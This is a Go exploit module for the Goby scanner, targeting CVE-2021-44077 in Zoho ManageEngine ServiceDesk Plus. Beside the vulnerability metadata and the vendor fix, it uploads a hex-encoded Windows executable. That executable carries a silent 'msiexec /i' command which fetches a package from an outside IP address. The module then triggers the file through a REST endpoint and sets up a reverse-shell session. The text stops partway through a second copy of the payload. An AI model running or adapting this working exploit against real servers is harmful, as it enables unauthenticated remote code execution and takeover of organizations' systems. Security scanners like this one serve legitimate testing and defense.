package exploits

import (
	"encoding/hex"
	"fmt"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"log"
	"net/url"
	"runtime/debug"
	"strings"
	"time"
)

func init() {
	expJson := `{
    "Name": "Zoho ManageEngine ServiceDesk Plus RCE (CVE-2021-44077)",
    "Description": "<p>ZOHO ManageEngine ServiceDesk Plus (SDP) is a set of IT service management software based on ITIL architecture from ZOHO. The software integrates functional modules such as incident management, problem management, asset management IT project management, procurement and contract management.</p><p>ZOHO ManageEngine ServiceDesk Plus has any file upload vulnerability. An unauthorized attacker can upload an exe file and execute the exe file through /RestAPI/s247action, resulting in taking over the server permissions.</p>",
    "Impact": "Zoho ManageEngine ServiceDesk Plus RCE (CVE-2021-44077)",
    "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time: <a href=\"https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021\">https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021</a></p><p>1. Set access policies and whitelist access through security devices such as firewalls.</p><p>2.If not necessary, prohibit public network access to the system.</p>",
    "Product": "Zoho ManageEngine ServiceDesk Plus",
    "VulType": [
        "Code Execution"
    ],
    "Tags": [
        "Code Execution"
    ],
    "Translation": {
        "CN": {
            "Name": "Zoho ManageEngine ServiceDesk Plus 命令执行漏洞(CVE-2021-44077)",
            "Description": "<p>ZOHO ManageEngine ServiceDesk Plus（SDP）是美国卓豪（ZOHO）公司的一套基于ITIL架构的IT服务管理软件。该软件集成了事件管理、问题管理、资产管理IT项目管理、采购与合同管理等功能模块。</p><p>ZOHO ManageEngine ServiceDesk Plus 存在任意文件上传漏洞，未经身份验证的攻击者可以上传exe文件，并通过/RestAPI/s247action执行exe文件，造成接管服务器权限。</p>",
            "Impact": "<p>ZOHO ManageEngine ServiceDesk Plus 存在任意文件上传漏洞，未经身份验证的攻击者可以上传exe文件，并通过/RestAPI/s247action执行exe文件，造成接管服务器权限。</p>",
            "Recommendation": "<p>⼚商已发布了漏洞修复程序，请及时关注更新：<a href=\"https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021\">https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021</a></p><p>1、通过防⽕墙等安全设备设置访问策略，设置⽩名单访问。</p><p>2、如⾮必要，禁⽌公⽹访问该系统。</p>",
            "Product": "Zoho ManageEngine ServiceDesk Plus",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "Zoho ManageEngine ServiceDesk Plus RCE (CVE-2021-44077)",
            "Description": "<p>ZOHO ManageEngine ServiceDesk Plus (SDP) is a set of IT service management software based on ITIL architecture from ZOHO. The software integrates functional modules such as incident management, problem management, asset management IT project management, procurement and contract management.</p><p>ZOHO ManageEngine ServiceDesk Plus has any file upload vulnerability. An unauthorized attacker can upload an exe file and execute the exe file through /RestAPI/s247action, resulting in taking over the server permissions.</p>",
            "Impact": "Zoho ManageEngine ServiceDesk Plus RCE (CVE-2021-44077)",
            "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time: <a href=\"https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021\">https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021</a></p><p>1. Set access policies and whitelist access through security devices such as firewalls.</p><p>2.If not necessary, prohibit public network access to the system.</p>",
            "Product": "Zoho ManageEngine ServiceDesk Plus",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "FofaQuery": "body=\"ManageEngine ServiceDesk Plus\"",
    "GobyQuery": "body=\"ManageEngine ServiceDesk Plus\"",
    "Author": "1291904552@qq.com",
    "Homepage": "https://pitstop.manageengine.com",
    "DisclosureDate": "2021-12-08",
    "References": [
        "https://xz.aliyun.com/t/10631"
    ],
    "HasExp": true,
    "Is0day": false,
    "Level": "2",
    "CVSS": "9.0",
    "CVEIDs": [
        "CVE-2021-44077"
    ],
    "CNVD": [],
    "CNNVD": [
        "CNNVD-202111-2144"
    ],
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/",
                "follow_redirect": false,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/",
                "follow_redirect": false,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "goby_shell_linux",
            "show": ""
        }
    ],
    "ExpTips": {},
    "AttackSurfaces": {
        "Application": [
            "Zoho ManageEngine ServiceDesk Plus"
        ],
        "Support": [],
        "Service": [],
        "System": [],
        "Hardware": []
    },
    "PocId": "10240"
}`

	PullExistsiholq := func(randomHex string, duration time.Duration) bool {
		foeyeIp := "165.22.59.16"
		checkUrl := "http://" + foeyeIp + "/api/v1/poc_scan/get_result?filter=" + randomHex
		dataCh := make(chan bool)
		go func() {
			defer close(dataCh)
			defer func() {
				if r := recover(); r != nil {
					log.Println(r, string(debug.Stack()))
				}
			}()
			for {
				if data, err := httpclient.SimpleGet(checkUrl); err == nil {
					if len(data.RawBody) > 0 {
						if strings.Contains(data.RawBody, "time") && strings.Contains(data.RawBody, "content") && strings.Contains(data.Status, "200") {
							dataCh <- true
							return
						}
					}
					time.Sleep(time.Second)
				} else {
					dataCh <- false
					break
				}
			}
		}()
		select {
		case contains, ok := <-dataCh:
			if ok {
				return contains
			}
		case <-time.After(duration):
		}
		return false
	}

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			payloadStart, _ := hex.DecodeString("4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000007CB5FFA238D491F138D491F138D491F131AC02F132D491F199A390F03BD491F199A394F029D491F199A395F032D491F199A392F03BD491F12CBF90F03AD491F138D490F108D491F1C9A399F039D491F1C9A36EF139D491F1C9A393F039D491F15269636838D491F100000000000000005045000064860600C267B0610000000000000000F00022000B020E1E000E0000001E000000000000C0120000001000000000004001000000001000000002000006000000000000000600000000000000007000000004000000000000030060810000100000000000001000000000000000001000000000000010000000000000000000001000000000000000000000009C270000A000000000500000E001000000400000680100000000000000000000006000002C00000040220000380000000000000000000000000000000000000000000000000000008022000038010000000000000000000000200000900100000000000000000000000000000000000000000000000000002E746578740000002C0D000000100000000E000000040000000000000000000000000000200000602E72646174610000040E0000002000000010000000120000000000000000000000000000400000402E6461746100000068060000003000000002000000220000000000000000000000000000400000C02E7064617461000068010000004000000002000000240000000000000000000000000000400000402E72737263000000E0010000005000000002000000260000000000000000000000000000400000402E72656C6F6300002C00000000600000000200000028000000000000000000000000000040000042000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004889542410894C24084883EC28488D0D24200000FF15CE10000033C04883C428C3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC66660F1F840000000000483B0DB91F0000751048C1C11066F7C1FFFF7501C348C1C910E9AA020000CCCC40534883EC20B901000000E8BE0B0000E8E30600008BC8E8E80B0000E8CB0600008BD8E80C0C0000B9010000008918E84404000084C07473E83F090000488D0D74090000E8DF050000E8A20600008BC8E8850B000085C07552E8A2060000E8E106000085C0740C488D0D7E060000E8610B0000E89C060000E897060000E86A0600008BC8E89F0B0000E88206000084C07405E8490B0000E850060000E81308000085C075064883C4205BC3B907000000E8B3060000CCCCCC4883EC28E86706000033C04883C428C34883EC28E83F080000E8160600008BC84883C428E94D0B0000CCCCCC48895C24084889742410574883EC30B901000000E82F03000084C00F84360100004032F64088742420E8DE0200008AD88B0D6624000083F9010F842301000085C9754AC7054F24000001000000488D1558100000488D0D39100000E8AE0A000085C0740AB8FF000000E9D9000000488D1517100000488D0D00100000E8870A0000C7051124000002000000EB0840B60140887424208ACBE81C040000E8CB050000488BD848833800741E488BC8E86E03000084C074124533C0418D500233C9488B03FF15940F0000E8A7050000488BD8488338007414488BC8E84203000084C07408488B0BE8540A0000E8130A0000488BF8E8350A0000488B18E8270A00004C8BC7488BD38B08E8B0FDFFFF8BD8E8C506000084C074554084F67505E8110A000033D2B101E8B20300008BC3EB198BD8E8A306000084C0743B807C2420007505E8F30900008BC3488B5C2440488B7424484883C4305FC3B907000000E82305000090B907000000E8180500008BCBE8A1090000908BCBE89F090000904883EC28E8D70300004883C428E972FEFFFFCCCC40534883EC20488BD933C9FF153B0D0000488BCBFF152A0D0000FF157C0D0000488BC8BA090400C04883C4205B48FF25600D000048894C24084883EC38B917000000FF15440D000085C07407B902000000CD29488D0DE21D0000E8A9000000488B442438488905C91E0000488D4424384883C008488905591E0000488B05B21E0000488905231D0000488B442440488905271E0000C705FD1C0000090400C0C705F71C000001000000C705011D000001000000B808000000486BC000488D0DF91C000048C7040102000000B808000000486BC000488B0D511C000048894C0420B808000000486BC001488B0D441C000048894C0420488D0D500E0000E8FFFEFFFF4883C438C3CCCC405356574883EC40488BD9FF155B0C0000488BB3F800000033FF4533C0488D542460488BCEFF15010C00004885C07439488364243800488D4C2468488B5424604C8BC848894C24304C8BC6488D4C247048894C242833C948895C2420FF15D20B0000FFC783FF027CB14883C4405F5E5BC3CCCCCC4883EC28E89F07000085C0742165488B042530000000488B4808EB05483BC8741433C0F0480FB10D6C21000075EE32C04883C428C3B001EBF7CCCCCC40534883EC200FB6055721000085C9BB010000000F44C3880547210000E8A6050000E8BD02000084C0750432C0EB14E8B002000084C0750933C9E8A5020000EBEA8AC34883C4205BC3CCCCCC40534883EC20803D0C210000008BD9756783F901776AE80507000085C0742885DB7524488D0DF6200000E89307000085C07510488D0DFE200000E88307000085C0742E32C0EB33660F6F05090D00004883C8FFF30F7F05C5200000488905CE200000F30F7F05CE200000488905D7200000C605A120000001B0014883C4205BC3B905000000E866020000CCCC4883EC184C8BC1B84D5A000066390589EAFFFF757848630DBCEAFFFF488D1579EAFFFF4803CA813950450000755FB80B0200006639411875544C2BC20FB74114488D51184803D00FB74106488D0C804C8D0CCA48891424493BD174188B4A0C4C3BC1720A8B420803C14C3BC072084883C228EBDF33D24885D2750432C0EB14837A24007D0432C0EB0AB001EB0632C0EB0232C04883C418C340534883EC208AD9E8EF05000033D285C0740B84DB7507488715CE1F00004883C4205BC340534883EC20803DC31F0000008AD9740484D2750CE8360100008ACBE82F010000B0014883C4205BC3CCCCCC40534883EC2048833D9E1F0000FF488BD97507E842060000EB0F488BD3488D0D881F0000E82B06000033D285C0480F44D3488BC24883C4205BC3CCCC4883EC28E8BBFFFFFF48F7D81BC0F7D8FFC84883C428C3CC48895C242055488BEC4883EC20488B054C19000048BB32A2DF2D992B0000483BC375744883651800488D4D18FF156E090000488B451848894510FF15200900008BC048314510FF15640900008BC0488D4D2048314510FF155C0900008B4520488D4D1048C1E02048334520483345104833C148B9FFFFFFFFFFFF00004823C148B933A2DF2D992B0000483BC3480F44C1488905C9180000488B5C244848F7D0488905C21800004883C4205DC333C0C3CCB801000000C3CCCCB800400000C3CCCC488D0DC91E000048FF25CA080000CCCCB001C3CCC20000CC488D05C11E0000C3488D05C11E0000C34883EC28E8E7FFFFFF48830824E8E6FFFFFF488308024883C428C3CC33C03905681800000F94C0C3488D05A91E0000C3488D05991E0000C38325891E000000C348895C240855488DAC2440FBFFFF4881ECC00500008BD9B917000000FF157608000085C074048BCBCD29B903000000E8C4FFFFFF33D2488D4DF041B8D0040000E815040000488D4DF0FF1531080000488B9DE8000000488D95D8040000488BCB4533C0FF15D70700004885C0743C488364243800488D8DE0040000488B95D80400004C8BC848894C24304C8BC3488D8DE804000048894C2428488D4DF048894C242033C9FF159E070000488B85C8040000488D4C2450488985E800000033D2488D85C804000041B8980000004883C00848898588000000E87E030000488B85C80400004889442460C744245015000040C744245401000000FF156A07000083F801488D4424504889442440488D45F00F94C3488944244833C9FF1539070000488D4C2440FF152607000085C0750C84DB75088D4803E8BEFEFFFF488B9C24D00500004881C4C00500005DC3CCE933FEFFFFCCCCCC4883EC2833C9FF15000700004885C07439B94D5A0000663908752F4863483C4803C88139504500007520B80B02000066394118751583B9840000000E760C83B9F8000000000F95C0EB0232C04883C428C3CCCCCC488D0D0900000048FF25A2060000CCCC48895C2408574883EC20488B19488BF9813B63736DE0751C837B180475168B53208D82E0FA6CE683F802761581FA00409901740D488B5C243033C04883C4205FC3E850020000488918488B5F08E84A020000488918E8D2020000CCCC48895C2408574883EC20488D1DBB0C0000488D3DB40C0000EB12488B034885C07406FF159C0700004883C308483BDF72E9488B5C24304883C4205FC348895C2408574883EC20488D1D8F0C0000488D3D880C0000EB12488B034885C07406FF15600700004883C308483BDF72E9488B5C24304883C4205FC348895C24104889742418574883EC1033C033C90FA2448BC14533DB448BD24181F06E74656C4181F2696E6549448BCB8BF033C9418D4301450BD00FA24181F147656E75890424450BD1895C24048BF9894C24088954240C755048830D6B150000FF25F03FFF0F3DC006010074283D6006020074213D70060200741A05B0F9FCFF83F820772448B90100010001000000480FA3C17314448B05641B00004183C801448905591B0000EB07448B05501B0000B807000000448D48FB3BF07C2633C90FA2890424448BDB895C2404894C24088954240C0FBAE309730A450BC14489051D1B0000C705D71400000100000044890DD41400000FBAE7140F839100000044890DBF140000BB06000000891DB81400000FBAE71B73790FBAE71C737333C90F01D048C1E220480BD04889542420488B44242022C33AC375578B058A14000083C808C705791400000300000089057714000041F6C320743883C820C705601400000500000089055E140000B8000003D04423D8443BD87518488B44242024E03CE0750D830D3F14000040891D35140000488B5C242833C0488B7424304883C4105FC3CCCCCC33C03905301400000F95C0C3CCCCCCCCCCCCCCCCCCCCCCCCFF2582040000FF2564040000FF2566040000FF2568040000FF25CA040000FF25EC040000FF258E040000FF2518050000FF250A050000FF25FC040000FF25EE040000FF25E0040000FF25D2040000FF25C4040000FF2516050000FF25A8040000FF259A040000FF258C040000FF257E040000FF25D8040000FF252A040000FF2514040000FF25DE040000FF25C8040000FF254A040000FF252C040000FF252E040000CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC66660F1F840000000000FFE0CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC66660F1F840000000000FF25AA04000040554883EC20488BEA488B01488BD18B08E81CFFFFFF904883C4205DC3CC4055488BEA488B0133C98138050000C00F94C18BC15DC3CC0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000882D000000000000AC2C000000000000C62C000000000000DA2C000000000000F62C000000000000E22D000000000000CE2D000000000000B82D0000000000009E2D000000000000982C000000000000722D000000000000582D0000000000003C2D000000000000282D000000000000142D0000000000000000000000000000E829000000000000FE290000000000001C2A000000000000D0290000000000000000000000000000822B00000000000000000000000000006C2B0000000000000000000000000000642A0000000000000000000000000000DA2B000000000000E82B000000000000382A000000000000BE2B000000000000422A000000000000342B0000000000002A2B0000000000001C2B0000000000000E2B000000000000542A000000000000F82A000000000000F02A000000000000E22A000000000000D62A000000000000B42A000000000000922A000000000000782A0000000000003E2B000000000000A22B0000000000000000000000000000922B000000000000002B000000000000000000000000000074170040010000007417004001000000D01C004001000000F01C004001000000F01C004001000000000000000000000000000000000000002811004001000000000000000000000000000000000000006010004001000000181100400100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070300040010000001031004001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000C267B061000000000D00000084020000182400001816000000000000C267B061000000000E0000000000000000000000000000000000000000000000380100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030004001000000000000000000000000000000000000009021004001000000A02100400100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024004001000000000000000000000000000000000000009821004001000000A821004001000000B021004001000000B8210040010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000800080000000000000000000000000000000004743544C00100000C00C00002E74657874246D6E00000000C01C0000360000002E74657874246D6E24303000F61C0000360000002E7465787424780000200000900100002E696461746124350000000090210000300000002E30306366670000C0210000080000002E4352542458434100000000C8210000080000002E4352542458434141000000D0210000080000002E4352542458435A00000000D8210000080000002E4352542458494100000000E0210000080000002E4352542458494141000000E8210000080000002E4352542458494143000000F0210000080000002E4352542458495A00000000F8210000080000002E435254245850410000000000220000080000002E4352542458505A0000000008220000080000002E435254245854410000000010220000100000002E4352542458545A0000000020220000E00100002E7264617461000000240000180000002E726461746124766F6C746D6400000018240000880200002E7264617461247A7A7A646267000000A0260000080000002E7274632449414100000000A8260000080000002E72746324495A5A00000000B0260000080000002E7274632454414100000000B8260000080000002E72746324545A5A00000000C0260000DC0000002E786461746100009C2700008C0000002E696461746124320000000028280000180000002E696461746124330000000040280000900100002E6964617461243400000000D0290000340400002E696461746124360000000000300000700000002E6461746100000070300000F80500002E6273730000000000400000680100002E7064617461000000500000600000002E727372632430310000000060500000800100002E7273726324303200000000000000000000000000000000000000000000000000000000000000000000000000000000010D01000D4200000100000001060200063202300104010004420000090F06000F6409000F3408000F520B70101C0000020000006D11000072120000F61C000072120000A6120000B8120000F61C000072120000010602000632025001090100096200000108040008720470036002300904010004220000101C0000010000006B150000F5150000141D0000F51500000102010002500000010D04000D3409000D320650011505001534BA001501B80006500000010A04000A3406000A320670010F06000F6406000F3405000F120B70010000000000000001000000C02800000000000000000000262A000080200000182900000000000000000000F42B0000D8200000082900000000000000000000162C0000C8200000B82900000000000000000000362C000078210000F82800000000000000000000562C0000B8200000E82800000000000000000000782C0000A8200000402800000000000000000000F62D000000200000000000000000000000000000000000000000000000000000882D000000000000AC2C000000000000C62C000000000000DA2C000000000000F62C000000000000E22D000000000000CE2D000000000000B82D0000000000009E2D000000000000982C000000000000722D000000000000582D0000000000003C2D000000000000282D000000000000142D0000000000000000000000000000E829000000000000FE290000000000001C2A000000000000D0290000000000000000000000000000822B00000000000000000000000000006C2B0000000000000000000000000000642A0000000000000000000000000000DA2B000000000000E82B000000000000382A000000000000BE2B000000000000422A000000000000342B0000000000002A2B0000000000001C2B0000000000000E2B000000000000542A000000000000F82A000000000000F02A000000000000E22A000000000000D62A000000000000B42A000000000000922A000000000000782A0000000000003E2B000000000000A22B0000000000000000000000000000922B000000000000002B000000000000000000000000000008005F5F435F73706563696669635F68616E646C657200001B005F5F63757272656E745F657863657074696F6E001C005F5F63757272656E745F657863657074696F6E5F636F6E74657874003E006D656D7365740000564352554E54494D453134302E646C6C0000660073797374656D000040005F7365685F66696C7465725F6578650042005F7365745F6170705F747970650009005F5F736574757365726D617468657272000018005F636F6E6669677572655F6E6172726F775F61726776000033005F696E697469616C697A655F6E6172726F775F656E7669726F6E6D656E74000028005F6765745F696E697469616C5F6E6172726F775F656E7669726F6E6D656E740036005F696E69747465726D0037005F696E69747465726D5F6500550065786974000023005F657869740054005F7365745F666D6F6465000004005F5F705F5F5F61726763000005005F5F705F5F5F61726776000016005F6365786974000015005F635F65786974003D005F72656769737465725F7468726561645F6C6F63616C5F6578655F6174657869745F63616C6C6261636B000008005F636F6E6669677468726561646C6F63616C650016005F7365745F6E65775F6D6F64650001005F5F705F5F636F6D6D6F6465000034005F696E697469616C697A655F6F6E657869745F7461626C6500003C005F72656769737465725F6F6E657869745F66756E6374696F6E001E005F6372745F6174657869740067007465726D696E617465006170692D6D732D77696E2D6372742D72756E74696D652D6C312D312D302E646C6C006170692D6D732D77696E2D6372742D6D6174682D6C312D312D302E646C6C00006170692D6D732D77696E2D6372742D737464696F2D6C312D312D302E646C6C006170692D6D732D77696E2D6372742D6C6F63616C652D6C312D312D302E646C6C00006170692D6D732D77696E2D6372742D686561702D6C312D312D302E646C6C0000D50452746C43617074757265436F6E7465787400DC0452746C4C6F6F6B757046756E6374696F6E456E7472790000E30452746C5669727475616C556E77696E640000C005556E68616E646C6564457863657074696F6E46696C74657200007F05536574556E68616E646C6564457863657074696F6E46696C74657200200247657443757272656E7450726F63657373009E055465726D696E61746550726F6365737300008C03497350726F636573736F724665617475726550726573656E740052045175657279506572666F726D616E6365436F756E74657200210247657443757272656E7450726F63657373496400250247657443757272656E7454687265616449640000F30247657453797374656D54696D65417346696C6554696D65006F03496E697469616C697A65534C697374486561640085034973446562756767657250726573656E740081024765744D6F64756C6548616E646C655700004B45524E454C33322E646C6C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000032A2DF2D992B0000CD5D20D266D4FFFFFFFFFFFF0100000001000000020000002F2000000000000000F80000000000000100000000000000")
			payloadEnd, _ := hex.DecodeString("2020202020202020202020202020202020202020202020202020202020202020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000021100000C0260000401000005E100000C82600006010000016110000CC2600001811000028110000D42600002811000041110000D426000044110000C0120000DC260000C0120000D2120000D4260000D412000008130000CC26000008130000DA1300001C270000DC1300004D140000242700005014000089140000D42600008C140000D5140000CC260000D814000063150000CC26000064150000FC15000030270000FC15000020160000CC2600002016000049160000CC2600004C16000086160000CC260000881600009F160000D4260000A01600004C1700005827000088170000A3170000D4260000C817000013190000642700001C1900006D190000D426000080190000DB19000074270000DC190000181A000074270000181A0000541A000074270000541A0000F51B000080270000D01C0000D21C000090270000F01C0000F61C000098270000F61C0000141D000014270000141D00002C1D0000502700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001800000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000904000048000000605000007D010000000000000000000000000000000000003C3F786D6C2076657273696F6E3D27312E302720656E636F64696E673D275554462D3827207374616E64616C6F6E653D27796573273F3E0D0A3C617373656D626C7920786D6C6E733D2775726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763127206D616E696665737456657273696F6E3D27312E30273E0D0A20203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0A202020203C73656375726974793E0D0A2020202020203C72657175657374656450726976696C656765733E0D0A20202020202020203C726571756573746564457865637574696F6E4C6576656C206C6576656C3D276173496E766F6B6572272075694163636573733D2766616C736527202F3E0D0A2020202020203C2F72657175657374656450726976696C656765733E0D0A202020203C2F73656375726974793E0D0A20203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E0D0A0000000000000000000000000000000000000000000000000000000000000000000000002000002C00000090A198A1A0A1A8A1B0A1C8A1E0A1E8A120A228A2D8A2F0A2F8A280A398A3A0A3A8A3B0A3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
			foeye := "165.22.59.16"
			aaa := goutils.RandomHexString(16)
			checkUrl := foeye + "/api/v1/poc_scan/" + strings.ToLower(aaa)
			payload := "msiexec /q /i http://" + checkUrl
			uri1 := `/RestAPI/ImportTechnicians?step=1`
			cfg1 := httpclient.NewPostRequestConfig(uri1)
			cfg1.VerifyTls = false
			cfg1.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryRBcwSPhzFlHZQPEo")
			cfg1.Data = fmt.Sprintf("------WebKitFormBoundaryRBcwSPhzFlHZQPEo\r\nContent-Disposition: form-data; name=\"theFile\"; filename=\"msiexec.exe\"\r\nContent-Type: image/jpeg\r\n\r\n%s%s%s\r\n------WebKitFormBoundaryRBcwSPhzFlHZQPEo--\r\n", string(payloadStart), payload, string(payloadEnd))
			if resp1, err := httpclient.DoHttpRequest(u, cfg1); err == nil && resp1.StatusCode != 404 {
				uri2 := `/./RestAPI/s247action`
				cfg2 := httpclient.NewPostRequestConfig(uri2)
				cfg2.VerifyTls = false
				cfg2.Header.Store("Content-Type", "application/x-www-form-urlencoded")
				cfg2.Data = `execute=s247AgentInstallationProcess`
				httpclient.DoHttpRequest(u, cfg2)
				return PullExistsiholq(strings.ToLower(aaa), time.Second*10)
			}
			return false
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			if ss.Params["AttackType"].(string) == "goby_shell_linux" {
				waitSessionCh := make(chan string)
				if rp, err := godclient.WaitSession("reverse_linux", waitSessionCh); err != nil || len(rp) == 0 {
					log.Println("[WARNING] godclient bind failed", err)
				} else {
					payloadStart, _ := hex.DecodeString("4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000007CB5FFA238D491F138D491F138D491F131AC02F132D491F199A390F03BD491F199A394F029D491F199A395F032D491F199A392F03BD491F12CBF90F03AD491F138D490F108D491F1C9A399F039D491F1C9A36EF139D491F1C9A393F039D491F15269636838D491F100000000000000005045000064860600C267B0610000000000000000F00022000B020E1E000E0000001E000000000000C0120000001000000000004001000000001000000002000006000000000000000600000000000000007000000004000000000000030060810000100000000000001000000000000000001000000000000010000000000000000000001000000000000000000000009C270000A000000000500000E001000000400000680100000000000000000000006000002C00000040220000380000000000000000000000000000000000000000000000000000008022000038010000000000000000000000200000900100000000000000000000000000000000000000000000000000002E746578740000002C0D000000100000000E000000040000000000000000000000000000200000602E72646174610000040E0000002000000010000000120000000000000000000000000000400000402E6461746100000068060000003000000002000000220000000000000000000000000000400000C02E7064617461000068010000004000000002000000240000000000000000000000000000400000402E72737263000000E0010000005000000002000000260000000000000000000000000000400000402E72656C6F6300002C00000000600000000200000028000000000000000000000000000040000042000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004889542410894C24084883EC28488D0D24200000FF15CE10000033C04883C428C3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC66660F1F840000000000483B0DB91F0000751048C1C11066F7C1FFFF7501C348C1C910E9AA020000CCCC40534883EC20B901000000E8BE0B0000E8E30600008BC8E8E80B0000E8CB0600008